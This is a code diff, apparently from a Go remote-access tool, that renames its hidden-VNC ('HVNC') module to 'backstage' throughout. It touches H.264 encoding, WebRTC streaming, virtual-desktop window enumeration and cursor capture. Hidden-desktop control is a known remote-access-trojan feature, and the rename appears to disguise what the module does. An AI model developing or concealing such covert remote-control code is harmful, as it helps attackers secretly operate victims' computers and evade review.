||||
@@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write backstage h264 failed: %v", werr)
|
||||
}
|
||||
if slotAcquired {
|
||||
ReleaseFrameSlot()
|
||||
@@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
|
||||
if shouldLogFrame(now) {
|
||||
total := time.Since(t0)
|
||||
log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||
}
|
||||
|
||||
@@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return img, nil
|
||||
}
|
||||
|
||||
func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||
quality := 60
|
||||
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, _, err := buildFramebackstage(img, 0, quality)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -23,9 +23,9 @@ func resetH264Encoder() {}
|
||||
|
||||
func RequestDesktopH264Keyframe() {}
|
||||
|
||||
func resetH264EncoderHVNC() {}
|
||||
func resetH264Encoderbackstage() {}
|
||||
|
||||
func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
|
||||
func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) {
|
||||
return nil, errors.New("h264 support not available (cgo disabled)")
|
||||
}
|
||||
|
||||
|
||||
@@ -523,8 +523,8 @@ var (
|
||||
h264Enc h264FrameEncoder
|
||||
h264LastErr error
|
||||
|
||||
hvncH264Mu sync.Mutex
|
||||
hvncH264Enc h264FrameEncoder
|
||||
backstageH264Mu sync.Mutex
|
||||
backstageH264Enc h264FrameEncoder
|
||||
|
||||
webcamH264Mu sync.Mutex
|
||||
webcamH264Enc h264FrameEncoder
|
||||
@@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
|
||||
return out, err
|
||||
}
|
||||
|
||||
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
|
||||
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img)
|
||||
}
|
||||
|
||||
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
|
||||
@@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
|
||||
func resetH264EncoderHVNC() {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
closeH264Encoder(&hvncH264Enc)
|
||||
func resetH264Encoderbackstage() {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
closeH264Encoder(&backstageH264Enc)
|
||||
}
|
||||
|
||||
func closeH264Encoder(slot *h264FrameEncoder) {
|
||||
@@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) {
|
||||
|
||||
func shutdownMediaFoundationForTest() {
|
||||
closeH264Encoder(&h264Enc)
|
||||
closeH264Encoder(&hvncH264Enc)
|
||||
closeH264Encoder(&backstageH264Enc)
|
||||
closeH264Encoder(&webcamH264Enc)
|
||||
_, _, _ = procMFShutdown.Call()
|
||||
}
|
||||
|
||||
@@ -142,57 +142,57 @@ func closeH264EncoderLocked() {
|
||||
}
|
||||
|
||||
var (
|
||||
hvncH264Mu sync.Mutex
|
||||
hvncH264Enc *x264.Encoder
|
||||
hvncH264Buf bytes.Buffer
|
||||
hvncH264Width int
|
||||
hvncH264Height int
|
||||
hvncH264FPS int
|
||||
hvncH264Scratch []byte
|
||||
backstageH264Mu sync.Mutex
|
||||
backstageH264Enc *x264.Encoder
|
||||
backstageH264Buf bytes.Buffer
|
||||
backstageH264Width int
|
||||
backstageH264Height int
|
||||
backstageH264FPS int
|
||||
backstageH264Scratch []byte
|
||||
)
|
||||
|
||||
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
|
||||
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
|
||||
bounds := img.Bounds()
|
||||
width := bounds.Dx()
|
||||
height := bounds.Dy()
|
||||
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
|
||||
if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
|
||||
if err := ensurebackstageH264EncoderLocked(width, height); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hvncH264Buf.Reset()
|
||||
if err := hvncH264Enc.Encode(img); err != nil {
|
||||
backstageH264Buf.Reset()
|
||||
if err := backstageH264Enc.Encode(img); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n := hvncH264Buf.Len()
|
||||
n := backstageH264Buf.Len()
|
||||
if n == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if cap(hvncH264Scratch) < n {
|
||||
hvncH264Scratch = make([]byte, n, n+(n/4))
|
||||
if cap(backstageH264Scratch) < n {
|
||||
backstageH264Scratch = make([]byte, n, n+(n/4))
|
||||
} else {
|
||||
hvncH264Scratch = hvncH264Scratch[:n]
|
||||
backstageH264Scratch = backstageH264Scratch[:n]
|
||||
}
|
||||
copy(hvncH264Scratch, hvncH264Buf.Bytes())
|
||||
return hvncH264Scratch, nil
|
||||
copy(backstageH264Scratch, backstageH264Buf.Bytes())
|
||||
return backstageH264Scratch, nil
|
||||
}
|
||||
|
||||
func resetH264EncoderHVNC() {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
closeHVNCH264EncoderLocked()
|
||||
func resetH264Encoderbackstage() {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
closebackstageH264EncoderLocked()
|
||||
}
|
||||
|
||||
func ensureHVNCH264EncoderLocked(width, height int) error {
|
||||
func ensurebackstageH264EncoderLocked(width, height int) error {
|
||||
fps := activeH264FPS()
|
||||
if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
|
||||
if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps {
|
||||
return nil
|
||||
}
|
||||
closeHVNCH264EncoderLocked()
|
||||
closebackstageH264EncoderLocked()
|
||||
opts := &x264.Options{
|
||||
Width: width,
|
||||
Height: height,
|
||||
@@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error {
|
||||
RateConstant: 23,
|
||||
LogLevel: x264.LogError,
|
||||
}
|
||||
enc, err := x264.NewEncoder(&hvncH264Buf, opts)
|
||||
enc, err := x264.NewEncoder(&backstageH264Buf, opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
hvncH264Enc = enc
|
||||
hvncH264Width = width
|
||||
hvncH264Height = height
|
||||
hvncH264FPS = fps
|
||||
backstageH264Enc = enc
|
||||
backstageH264Width = width
|
||||
backstageH264Height = height
|
||||
backstageH264FPS = fps
|
||||
return nil
|
||||
}
|
||||
|
||||
func closeHVNCH264EncoderLocked() {
|
||||
if hvncH264Enc != nil {
|
||||
_ = hvncH264Enc.Close()
|
||||
hvncH264Enc = nil
|
||||
func closebackstageH264EncoderLocked() {
|
||||
if backstageH264Enc != nil {
|
||||
_ = backstageH264Enc.Close()
|
||||
backstageH264Enc = nil
|
||||
}
|
||||
hvncH264Width = 0
|
||||
hvncH264Height = 0
|
||||
hvncH264FPS = 0
|
||||
hvncH264Buf.Reset()
|
||||
backstageH264Width = 0
|
||||
backstageH264Height = 0
|
||||
backstageH264FPS = 0
|
||||
backstageH264Buf.Reset()
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -62,7 +62,7 @@ func VirtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid
|
||||
if len(out) == 0 {
|
||||
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
|
||||
}
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
||||
}
|
||||
|
||||
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
|
||||
@@ -939,7 +939,7 @@ func VirtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
virtualMu.Lock()
|
||||
bounds := virtualMonitorBounds
|
||||
name := virtualMonitorName
|
||||
@@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
monInfos := []HVNCMonitorInfo{{
|
||||
monInfos := []BackstageMonitorInfo{{
|
||||
Index: 0,
|
||||
Name: name,
|
||||
X: bounds.Min.X,
|
||||
@@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
||||
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
|
||||
|
||||
var result []HVNCWindowInfo
|
||||
var result []BackstageWindowInfo
|
||||
for _, w := range windowList {
|
||||
if !isWindowVisible(w.hwnd) {
|
||||
continue
|
||||
@@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
monIdx = 0
|
||||
}
|
||||
|
||||
result = append(result, HVNCWindowInfo{
|
||||
result = append(result, BackstageWindowInfo{
|
||||
HWND: w.hwnd,
|
||||
Title: title,
|
||||
X: winLeft,
|
||||
@@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point {
|
||||
}
|
||||
virtualInputMu.Unlock()
|
||||
var pt point
|
||||
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
|
||||
procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt)))
|
||||
return pt
|
||||
}
|
||||
|
||||
@@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
|
||||
hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH)
|
||||
if !ok {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
@@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
|
||||
return 0
|
||||
}
|
||||
|
||||
if hvncWinCache == nil {
|
||||
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
|
||||
if backstageWinCache == nil {
|
||||
backstageWinCache = make(map[uintptr]*backstageWinCacheEntry)
|
||||
}
|
||||
|
||||
alive := make(map[uintptr]bool)
|
||||
@@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
|
||||
continue
|
||||
}
|
||||
|
||||
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
drawn++
|
||||
}
|
||||
alive[hwnd] = true
|
||||
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
||||
}
|
||||
|
||||
for h, entry := range hvncWinCache {
|
||||
for h, entry := range backstageWinCache {
|
||||
if !alive[h] {
|
||||
hvncFreeCacheEntry(entry)
|
||||
delete(hvncWinCache, h)
|
||||
backstageFreeCacheEntry(entry)
|
||||
delete(backstageWinCache, h)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user